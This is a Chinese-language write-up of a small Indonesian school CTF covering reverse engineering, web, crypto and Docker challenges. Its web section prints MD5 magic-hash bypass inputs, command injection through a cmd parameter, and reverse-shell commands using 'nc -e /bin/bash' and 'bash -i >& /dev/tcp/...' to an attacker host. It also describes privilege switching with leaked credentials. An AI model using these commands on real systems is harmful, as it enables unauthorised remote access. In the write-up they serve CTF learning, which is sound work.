竞赛背景
第一次参加别的国家的比赛,这个比赛比较小众,也没几个人参加,貌似是属于印度尼西亚某个学校组织的,题目也比较奇特,第一次见到docker题目,社工题一题都没做,值得一提的是,社工题最后一题是关于寻找一个中国的cosplayer的信息的。
另外的取证题目,个人感觉和misc没什么差别,不过我没做出来。
Reverse Engineering
I/O
File dibawah ini menampilkan output yang salah coba perbaiki hingga menampilkan output yang benar....
这个题目下载下来是一个c语言源代码文件,老实说,感觉这算不上逆向了。
就是greetings进行替换字符,稍微懂一点c语言的人应该都可以做出来,
执行一下就可以看到flag了
greetings= list("w9{Str1NgnM0d1fyiw1thlGr3et1ngs}")
greetings[0] = 'W'
greetings[3] = '5'
greetings[5] = 'R'
greetings[7] = 'n'
greetings[8] = 'G'
greetings[9] = '_'
greetings[11] = 'o'
greetings[12] = 'D'
greetings[14] = 'F'
greetings[16] = '_'
greetings[17] = 'W'
greetings[20] = 'H'
greetings[21] = '_'
greetings[24] = 'e'
greetings[25] = '3'
greetings[27] = 'I'
greetings[29] = 'G'
print("".join(greetings))
pyverse
hint:Kamu pasti bisa.....
压缩包下载之后有两个文件,一个是python代码,一个是txt文件
python代码
import base64, marshal
exec(base64.b64decode(bytes(marshal.loads(b'ax9cx01x00x00CmZsYWcgPSAiIi5qb2luKG9wZW4oImZsYWcudHh0IikucmVhZGxpbmVzKCkpLnJlcGxhY2UoIlxuIiwgIiIpCgpzYWx0ID0gMTIxCmRlbGltaXR0ZXIgPSAiQCIKCnggPSBbXQoKZm9yIGkgaW4gZmxhZzoKCXguYXBwZW5kKGJhc2U2NC5iNjRlbmNvZGUoYnl0ZXMoc3RyKG9yZChpKSAtIHNhbHQpLCAnVVRGLTgnKSkuZGVjb2RlKCkpCgl4LmFwcGVuZChkZWxpbWl0dGVyKQoKZmxhZyA9IG9wZW4oImZsYWcudHh0IiwgInciKQoKZmxhZy53cml0ZShiYXNlNjQuYjY0ZW5jb2RlKGJ5dGVzKCIiLmpvaW4oeCksICdVVEYtOCcpKS5kZWNvZGUoKSkK'), 'utf-8')).decode())
txt文件
TFRNMEBMVFkwQE1nPT1ATFRjPUBMVGN3QExUTTFATFRjd0BMVGM9QExUWTRATFRjd0BMVEkyQExUY3dATFRFeEBMVFV3QExUY3lATFRFeEBMVGN3QExUY3dATFRjPUBMVGN5QExUUTRATFRRekBMVFV3QExUSTJATFRjeUBMVFU9QExUTTJATFRJMkBMVFEwQExUUT1ATFRJeEBMVFk1QExURTNATFRJMkBMVEl4QExUWTVATFRFeEBMVEkyQExUUTBATFRjd0BMVEV4QE1BPT1ATFRjd0BMVEV4QExUWTVATFRFeEBMVEU0QExURTBATFRZNUBMVEV4QE5BPT1A
关于python代码的解析
exec是执行函数,将里面的字符进行base64解码,并且执行,其实最终运行的代码,就是那一串字符,内容如下
import base64, marshal
flag = "".join(open("flag.txt").readlines()).replace("n", "")
print(flag)
salt = 121
delimitter = "@"
x = []
for i in flag:
x.append(base64.b64encode(bytes(str(ord(i) - salt), 'UTF-8')).decode())
x.append(delimitter)
flag = open("flag.txt", "w")
flag.write(base64.b64encode(bytes("".join(x), 'UTF-8')).decode())
flag.txt原本的内容应该是flag,经过上面的代码进行加密,并且重新写入flag.txt文件,加密的代码就是上面的代码,我对其进行了逆向解析,下面是逆向代码
import base64, marshal
flag = "".join(open("flag.txt").readlines()).replace("n", "")
print(flag)
salt = 121
delimitter = "@"
m=base64.b64decode(flag).decode().split('@')
print(m)
for i in m:
if i!='':
print(chr(int(base64.b64decode(i))+salt),end="")
然后输出的确是一串乱码,此题到此无思路了
web
Nice to meet you
f12直接看源代码,就可以看到flag了
MAGIC
题目内容:
<?php
include('flag.php');
if($_GET['x'] != $_GET['y']){
if(md5($_GET['x']) == md5($_GET['y'])){
echo FLAG;
die();
}
}
highlight_file(__FILE__);
其实就是md5函数绕过,不知道为什么使用数组绕过(?x[0]=1&y[0]=2)会显示500状态码(还请知道的师傅指教一下),于是我采用0e绕过(x=s1091221200a&y=s878926199a)
RCE LEVEL 1
我觉的这一题比较有意思,涉及web与linux的一些知识
打开网页显示
猜测是cmd参数的rce命令注入,于是传入system(ls);发现没有用,直接输入ls,回显当前目录下的文件
Hint文件的内容:
给出了一个账户和密码,并且提示使用反弹shell
index.php文件显示的内容
通过ls -ahl查看目录下的文件权限,以及所属的用户及用户组
html文件权限如下
尝试反弹shell
通过bash反弹反弹不成功,不知道为什么(有知道的师傅可以告诉我一下),于是我采用了nc反弹
攻击机监听端口:nc -lvp 7777
靶机上面cmd传递参数:nc -e /bin/bash x.x.x.x port
由于nc反弹在切换命令的时候没有回显
所以我在tmp目录下写入shell脚本,执行bash反弹
echo 'bash -i >& /dev/tcp/xxxxxxx/5555 0>&1'>/tmp/3.sh
根目录存在flag文件夹,但是没有权限,只有flag用户有权限查看,所以上面给出的flag用户和密码在此时就可以使用了
su切换到flag用户
成功拿到flag
CRYPTOGRAPHY
Dots N D4sh3s
这个题目,看到附件名就想到摩尔斯代码了
txt打开之后的样子
查看一下二进制数据
没啥好说的复制直接解码
- --- .-.. --- -. --. / .- -.- ..- / .-- .- .... .- .. / -.. .. .-. .. -- ..- / ---... ----- .---- ----- .---- ----- .---- .---- .---- / ----- ----- .---- .---- .---- ----- ----- .---- / ----- .---- .---- .---- .---- ----- .---- .---- / ----- ----- .---- .---- .---- ----- ----- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- .---- .---- ----- ----- ----- .---- ----- / ----- .---- .---- .---- ----- .---- ----- .---- / ----- .---- ----- .---- ----- .---- ----- ----- / ----- .---- ----- .---- .---- .---- .---- .---- / ----- .---- .---- .---- .---- ----- ----- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- .---- ----- .---- .---- .---- .---- .---- / ----- .---- .---- ----- .---- ----- .---- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- ----- .---- .---- ----- .---- ----- .---- / ----- ----- .---- .---- ----- ----- ----- .---- / ----- ----- .---- .---- ----- .---- ----- ----- / ----- .---- .---- ----- .---- .---- .---- ----- / ----- .---- .---- .---- .---- .---- ----- .----
解码后的内容
TOLONG AKU WAHAI DIRIMU :01010111 00111001 01111011 00111001 00110100 01100010 01110101 01010100 01011111 01111001 00110100 01011111 01101011 00110100 00110101 00110001 00110100 01101110 01111101
前半部分不知道是什么,后面是一堆二进制数据,尝试对二进制数据进行解码:
直接出flag,解码所用的网站:https://cyberchef.org/
CHIPER
题目描述就给了一个密码:Password: walisongo
下载txt附件,打开之后的内容是一堆乱码
开始的时候打算更换编码,把能试的编码几乎试了个遍,也没啥用
二进制内容如下
开始的时候以为是二进制数据进行某种变换才能看到正常内容,但是无从下手,于是通过cyberchef网站手动尝试,给试出来了
DOCKER
Docker 1
题目描述:
Install docker dan load images yang telah disediakan lalu jalankan images tersebut !!!
题目提示:Jangan lupa menambahkan Interactive TTY
关于tty是什么,我也是百度之后知道的,大概就是终端仿真器什么的吧。。。。这时就需要在运行镜像的时候加入-t参数了
附件名是docker1.tar,就是下载下来安装这个docker镜像
输入命令:docker load --input docker1.tar就可以安装这个镜像了
然后执行:docker images 就可以看到这个镜像的名字了
run一下,
命令:docker run -td docker1
然后docker ps并没有看到这个容器,于是docker ps -a查看全部容器,发现这个容器没有运行成功
运行失败就看一下日志
flag在日志里面
原文始发于微信公众号(剑外思归客):SMK WALISONGO 2 GEMPOL网络安全竞赛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论